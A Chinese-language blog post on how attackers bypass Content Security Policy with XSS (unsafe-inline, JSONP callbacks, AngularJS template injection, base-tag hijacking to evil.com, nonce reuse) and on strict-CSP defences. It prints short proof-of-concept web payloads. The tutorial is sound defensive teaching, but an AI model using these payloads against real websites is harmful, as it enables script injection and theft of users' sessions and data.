XSS 绕过 CSP 的常见手法与防护策略

引言

内容安全策略(Content Security Policy,CSP)是现代 Web 应用抵御 XSS 攻击的重要防线。它通过白名单机制限制浏览器可以加载和执行的资源类型与来源,从根本上降低了恶意脚本注入的成功率。然而,CSP 并非“银弹”。在实际攻防对抗中,攻击者发展出了多种绕过 CSP 的手法,而许多站点的 CSP 配置也存在可被利用的缺陷。本文将系统梳理 XSS 绕过 CSP 的常见技术路径,并给出切实可行的防护策略。

一、CSP 的基本原理回顾

CSP 通过 HTTP 响应头(或 <meta> 标签)向浏览器声明策略,常见指令包括:

  • script-src:限制脚本来源
  • style-src:限制样式来源
  • img-src:限制图片来源
  • connect-src:限制 XHR/WebSocket 等连接目标
  • default-src:兜底策略

例如,script-src 'self' 表示只允许加载同源脚本。若攻击者注入的 <script>alert(1)</script> 不在白名单内,浏览器将拒绝执行。但问题在于:策略配置是否足够严格?是否存在被绕过的“灰色地带”?

二、常见绕过手法

1. 利用 unsafe-inlineunsafe-eval

如果 script-src 中包含 'unsafe-inline',那么内联脚本(如 <script>alert(1)</script>onclick 事件、javascript: URI)均可执行,CSP 形同虚设。同理,'unsafe-eval' 允许 eval()Function()setTimeout("code") 等动态执行代码,攻击者可借助这些入口注入 payload。

绕过示例:

<img src=x onerror=alert(document.domain)>

unsafe-inline 存在,该 payload 直接生效。

2. 利用可信域上的 JSONP 端点

script-src 允许某个第三方域(如 https://trusted.com)时,若该域存在 JSONP 接口,攻击者可构造:

<script src="https://trusted.com/api?callback=alert(1)//"></script>

返回内容变为 alert(1)//({...}),从而执行任意脚本。这是非常经典的 CSP 绕过方式。

3. 利用 AngularJS 等框架的模板注入

若页面引入了 AngularJS 且 CSP 允许其来源,攻击者可通过表达式注入执行代码:

<div ng-app>{{constructor.constructor('alert(1)')()}}</div>

AngularJS 会解析并执行该表达式,绕过 CSP 对 <script> 的限制。

4. 利用 base-uri 缺失进行相对路径劫持

如果 CSP 未设置 base-uri 'self',攻击者可注入 <base href="https://evil.com/">,将页面中所有相对路径的脚本请求重定向到攻击者服务器。例如原本 <script src="/js/app.js"> 会变成从 evil.com 加载,从而执行恶意代码。

5. 利用 script-src 中的通配符或 CDN 缺陷

配置如 script-src https://*.cdn.com 时,若 CDN 允许用户上传文件(如图片、JS),攻击者可上传恶意脚本并通过该 CDN 加载。此外,某些 CDN 的旧版本库存在已知漏洞,也可被利用。

6. 利用 noncehash 的复用与预测

nonce 值可预测(如基于时间戳生成),或同一 nonce 在多个页面/多次响应中重复使用,攻击者可通过注入带有相同 nonce 的脚本标签来执行代码。此外,若 nonce 通过 URL 参数传递且被反射,也可能被利用。

7. 利用 DOM 型 XSS 配合 strict-dynamic

strict-dynamic 允许由可信脚本动态创建的脚本执行。若页面存在 DOM 型 XSS,攻击者可借助可信脚本的上下文动态插入恶意脚本,从而绕过基于来源的白名单。

8. 利用 CSP 报告端点或 report-uri 的信息泄露

虽然不直接执行脚本,但攻击者可通过触发 CSP 违规报告,探测策略细节,为后续绕过提供情报。

三、防护策略与最佳实践

1. 采用严格 CSP 策略

  • 避免使用 'unsafe-inline''unsafe-eval'
  • 使用 noncehash 替代内联脚本白名单。
  • 设置 default-src 'none',按需开放各指令。
  • 添加 base-uri 'self'frame-ancestors 'none'object-src 'none' 等限制。

推荐示例:

Content-Security-Policy: default-src 'none'; script-src 'nonce-随机值' 'strict-dynamic' https:; style-src 'self'; img-src 'self' data:; connect-src 'self'; base-uri 'self'; frame-ancestors 'none'; object-src 'none'

2. 对第三方资源进行严格审计

  • 避免在 script-src 中使用通配符。
  • 对允许的 CDN 域进行安全评估,确保其不允许任意用户上传可执行脚本。
  • 定期检查 JSONP 端点,尽量禁用或迁移到 CORS。

3. 防止 DOM 型 XSS

  • 对用户输入进行严格编码与过滤。
  • 避免使用 innerHTMLdocument.write 等危险 API。
  • 使用 textContentsetAttribute 等安全替代方案。

4. 正确使用 nonce 与 hash

  • nonce 必须使用密码学安全的随机数生成器,且每次响应唯一。
  • 避免通过 URL 参数传递 nonce。
  • 对静态内联脚本使用 hash 白名单。

5. 部署 CSP 报告机制

  • 使用 report-toreport-uri 收集违规报告,及时发现潜在攻击。
  • 在正式启用前,先用 Content-Security-Policy-Report-Only 测试策略,避免误杀。

6. 纵深防御

CSP 只是其中一层。应结合以下措施:

  • 输入验证与输出编码(防 SQL 注入、XSS、CSRF 的基础)
  • HttpOnly、Secure、SameSite Cookie 属性
  • CSRF Token 机制
  • 定期安全审计与渗透测试
  • 保持框架与库的版本更新

四、总结

CSP 是抵御 XSS 的强大工具,但并非绝对安全。攻击者可通过 unsafe-inline、JSONP、框架模板注入、base-uri 缺失、CDN 滥用、nonce 预测等多种方式绕过。防御的核心在于:采用严格策略、消除内联脚本、审计第三方资源、正确使用 nonce/hash,并配合输入输出处理与纵深防御体系。只有将 CSP 与其他安全措施结合,才能有效降低 XSS 风险,构建更安全的 Web 应用。

未经允许不得转载:任鹏个人博客 » XSS 绕过 CSP 的常见手法与防护策略

赞 (0) 打赏

评论 0

取消
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏